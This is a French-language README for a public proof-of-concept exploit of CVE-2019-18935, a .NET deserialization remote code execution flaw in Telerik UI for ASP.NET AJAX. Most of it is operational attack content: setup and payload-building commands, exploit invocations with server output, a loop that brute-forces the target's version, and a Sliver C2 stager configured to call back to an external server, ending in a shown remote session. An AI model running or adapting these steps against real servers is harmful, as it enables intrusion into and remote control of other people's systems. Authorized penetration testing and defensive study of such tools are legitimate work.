
Exploit RCE pour une vulnérabilité de désérialisation JSON .NET dans Telerik UI for ASP.NET AJAX.
Exploit de preuve de concept pour une vulnérabilité de désérialisation JSON .NET dans Telerik UI for ASP.NET AJAX permettant l'exécution de code à distance.
Telerik UI for ASP.NET AJAX est une suite de composants d'interface utilisateur largement utilisée pour les applications web. Elle désérialise de manière non sécurisée des objets JSON, ce qui conduit à une exécution de code arbitraire à distance sur l'hôte sous-jacent du logiciel. Pour plus d'informations, voir :
Vous aurez besoin de Visual Studio et du .NET Framework SDK installés pour compiler des charges utiles DLL d'assembly .NET en mode mixte à l'aide de build-dll.bat.
git clone https://github.com/noperator/CVE-2019-18935.git && cd CVE-2019-18935
python3 -m venv env
source env/bin/activate
python3 -m pip install -U pip
python3 -m pip install -r requirements.txt
Cet exploit utilise la logique de chiffrement de RAU_crypto. La classe RAUCipher dans RAU_crypto.py dépend de PyCryptodome, un remplaçant direct du module PyCrypto, mort. PyCryptodome et PyCrypto posent problème lorsqu'ils sont installés dans le même environnement ; le meilleur moyen de satisfaire cette dépendance est donc d'installer le module dans un environnement virtuel, comme indiqué ci-dessus.
Faites pointer la ligne 17 de build-dll.bat vers le chemin de votre installation Visual Studio.
set VSPATH=C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Auxiliary\Build
$ python3 CVE-2019-18935.py -h
usage: CVE-2019-18935.py [-h] [-t] [-d] [-r FILENAME_REMOTE] [-s SMB_SERVER]
[-v UI_VERSION] [-n NET_VERSION] [-p PAYLOAD]
[-f FOLDER] -u URL
Exploit for CVE-2019-18935, a .NET JSON deserialization vulnerability in
Telerik UI for ASP.NET AJAX.
optional arguments:
-h, --help show this help message and exit
-t just upload a file
-d just deserialize
-r FILENAME_REMOTE remote payload name, for optional use with -d
-s SMB_SERVER remote SMB server, for optional use with -d
-v UI_VERSION software version
-n NET_VERSION .NET version
-p PAYLOAD mixed mode assembly DLL
-f FOLDER destination folder on target
-u URL https://<HOST>/Telerik.Web.UI.WebResource.axd?type=rau
Certaines charges utiles (par exemple reverse-shell.c et sliver-stager.c) nécessitent de définir les champs HOST et PORT pour pointer vers votre serveur C2 — assurez-vous de le faire !
Dans un environnement Windows avec Visual Studio installé, utilisez build-dll.bat pour générer des DLL d'assembly en mode mixte 32 et 64 bits à utiliser comme charge utile lors de la désérialisation. Vous pouvez éventuellement spécifier une architecture CPU cible comme second argument en ligne de commande (par exemple x86).
build-dll.bat sleep.c
Transmettez la DLL générée ci-dessus à CVE-2019-18935.py, qui téléversera la DLL dans un répertoire du serveur cible (à condition que le serveur web dispose des droits d'écriture dans ce répertoire), puis chargera cette DLL dans l'application via l'exploit de désérialisation non sécurisée.
$ python3 CVE-2019-18935.py -v <VERSION> -p payloads/sleep-2019121205271355-x86.dll -u <HOST>/Telerik.Web.UI.WebResource.axd?type=rau
[*] Local payload name: sleep-2019121205271355-x86.dll
[*] Destination folder: C:\Windows\Temp
[*] Remote payload name: 1576142987.918625.dll
{'fileInfo': {'ContentLength': 75264,
'ContentType': 'application/octet-stream',
'DateJson': '1970-01-01T00:00:00.000Z',
'FileName': '1576142987.918625.dll',
'Index': 0},
'metaData': {'AsyncUploadTypeName': 'Telerik.Web.UI.UploadedFileInfo, '
'Telerik.Web.UI, Version=<VERSION>, '
'Culture=neutral, '
'PublicKeyToken=<TOKEN>',
'TempFileName': '1576142987.918625.dll'}}
[*] Triggering deserialization...
<title>Runtime Error</title>
<span><H1>Server Error in '/' Application.<hr width=100% size=1 color=silver></H1>
<h2> <i>Runtime Error</i> </h2></span>
...omitted for brevity...
[*] Response time: 13.01 seconds
Dans l'exemple ci-dessus, l'application a mis au moins 10 secondes à répondre, ce qui indique que la charge utile DLL a bien invoqué Sleep(10000).
Comme détaillé dans la conférence DerpCon .NET Roulette (39:46), nous pouvons forcer par force brute la version de Telerik UI en ne spécifiant que la version majeure de l'assembly Telerik.Web.UI (c'est-à-dire la partie 2017 de la chaîne de version complète 2017.2.503.40) lors du téléversement d'un fichier. Cette technique réduit considérablement l'espace de recherche par rapport au brute-force de chaque version spécifique de ce logiciel — et, en bonus, elle peut même détecter des versions qui ne figurent pas explicitement dans l'historique des versions de ce logiciel. En savoir plus sur le versioning des assemblys .NET sur MSDN.
$ for YEAR in $(seq 2013 2018); do
echo -n "$YEAR: "
python3 CVE-2019-18935.py -t -v "$YEAR" -p /dev/null -u <HOST>/Telerik.Web.UI.WebResource.axd?type=rau 2>/dev/null |
grep -oE "Telerik.Web.UI, Version=$YEAR\.[0-9\.]+" ||
echo
done
2013:
2014:
2015:
2016:
2017: Telerik.Web.UI, Version=2017.2.503.40
2018:
La charge utile stager personnalisée Sliver sliver-stager.c reçoit et exécute le shellcode Sliver (le stage) depuis le serveur Sliver (le serveur de staging), en suivant le protocole de staging de Metasploit. Pour plus de détails sur son fonctionnement, lisez l'en-tête dans la source de la charge utile.
Démarrez le serveur Sliver. Plus d'informations sur la configuration du serveur ici.
MINGW_PATH='/usr/bin' # Or wherever MinGW is located.
export SLIVER_CC_32="$MINGW_PATH/i686-w64-mingw32-gcc"
export SLIVER_CC_64="$MINGW_PATH/x86_64-w64-mingw32-gcc"
./sliver-server
Ouvrez un endpoint C2 (nous utilisons un listener mTLS ici, mais vous pouvez aussi utiliser HTTP ou DNS) sur le serveur Sliver, créez un profil d'implant, puis créez un listener de staging lié à ce profil. Plus d'informations sur les charges utiles stagées ici. Notez que nous ne générons pas un stager Sliver avec generate stager comme le suggère la documentation de Sliver ; nous utilisons plutôt notre sliver-stager.c personnalisé.
⚠️ Avertissement : Envoyer un stage avec une mauvaise architecture CPU fera planter le processus cible ! Par exemple, si la cible exécute une version 32 bits de Telerik UI et que le serveur de staging envoie un stage 64 bits au stager 32 bits, le processus du serveur web plantera. Dans l'exemple suivant, nous générons du shellcode 32 bits — mais vous devez l'adapter à l'architecture CPU de votre cible à l'aide de l'option --arch de la commande new-profile.
sliver > mtls
[*] Starting mTLS listener ...
[*] Successfully started job #1
sliver > new-profile --mtls <C2-ENDPOINT>:<PORT> --arch x86 --format shellcode --profile-name shellcode-32 --skip-symbols
[*] Saved new profile shellcode-32
sliver > stage-listener --url tcp://<STAGING-SERVER>:<PORT> --profile shellcode-32
[*] No builds found for profile shellcode-32, generating a new one
[*] Job 2 (tcp) started
Définissez l'hôte et le port dans la source du stager Sliver pour pointer vers le serveur Sliver (exemple de serveur ci-dessous).
sed -Ei .bu 's/<HOST>/sliverserver.bishopfox.com/; s/<PORT>/443/' sliver-stager.c
Compilez la charge utile du stager Sliver, téléversez la charge utile sur la cible et chargez-la dans l'application (conformément aux sections Utilisation précédentes de ce README).
> .\build-dll.bat sliver-stager.c x86
$ python3 CVE-2019-18935.py -v 2017 -u <HOST>/Telerik.Web.UI.WebResource.axd?type=rau -p payloads/sliver-stager-2020080514261722-x86.dll
Si tout se passe bien (avez-vous effectué un dépannage de cette cible ?), vous verrez une session créée dans la fenêtre de votre serveur Sliver, que vous pourrez utiliser pour interagir avec la cible.
[*] Session #1 AFRAID_COMPUTER - <REMOTE-ADDRESS> (DESKTOP-D19S4Q2) - windows/386 - Wed, 05 Aug 2020 15:58:27 UTC
sliver > use 1
[*] Active session AFRAID_COMPUTER (1)
sliver (AFRAID_COMPUTER) > help
Commands:
=========
clear clear the screen
exit exit the shell
help use 'help [command]' for command help
...
whoami Get session user execution context
sliver (AFRAID_COMPUTER) > whoami
DESKTOP-D19S4Q2\tester
AssemblyInstaller ne peut pas charger plusieurs assemblys .NET portant le même nom d'assembly (différent d'un nom de fichier). Vous devrez en compiler et en téléverser une nouvelle chaque fois que vous voulez que la cible dorme, rappelle, etc.L'utilisation de cet outil pour attaquer des cibles sans consentement mutuel préalable est illégale. Il est de la responsabilité de l'utilisateur final de respecter toutes les lois locales, nationales et fédérales applicables. Les développeurs déclinent toute responsabilité et ne sont pas responsables de tout usage abusif ou dommage causé par ce programme.
@mwulftange a initialement découvert cette vulnérabilité. @bao7uo a écrit toute la logique pour casser le chiffrement de RadAsyncUpload, ce qui a permis de manipuler l'objet de configuration du téléversement de fichiers dans rauPostData puis d'exploiter la désérialisation non sécurisée de cet objet. @lesnuages a écrit la première itération de la charge utile du stager Sliver.
Ce projet est sous licence Apache License.